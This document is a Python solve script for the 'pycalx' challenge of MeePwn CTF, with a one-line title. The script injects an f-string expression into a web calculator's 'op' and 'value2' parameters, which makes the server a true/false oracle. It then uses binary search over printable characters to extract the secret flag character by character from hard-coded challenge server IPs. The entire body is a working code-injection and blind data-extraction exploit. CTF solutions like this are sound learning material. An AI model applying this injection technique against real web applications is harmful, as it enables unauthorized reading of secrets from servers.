A solve python file of pycalx, MeePwn CTF

pycalx-solve.py

import requests
import string

def judge(s,j):

    t = s + j

    # url = 'http://178.128.96.203/cgi-bin/server.py'
    url = 'http://206.189.223.3/cgi-bin/server.py'
    
    d = {'value1': 'True','op':'+f', 'value2':'{sys.__package__ if source <= FLAG else 0/0}', 'source':t}

    r1 = requests.get(url, params=d)

    if 'Invalid' in r1.text:
        return False
    else:
        return True
    
s = "MeePwnCTF{"

ptable = sorted(string.printable)
ptable = list(ptable)    
print(ptable)

for i in range(100):
    l = 0
    r = len(ptable) - 1
    
    while l < r: 
        m = (l + r) // 2  +1 
        if judge(s,ptable[m]):
            l = m
        else :
            r = m -1
    s += ptable[l]

    print(s)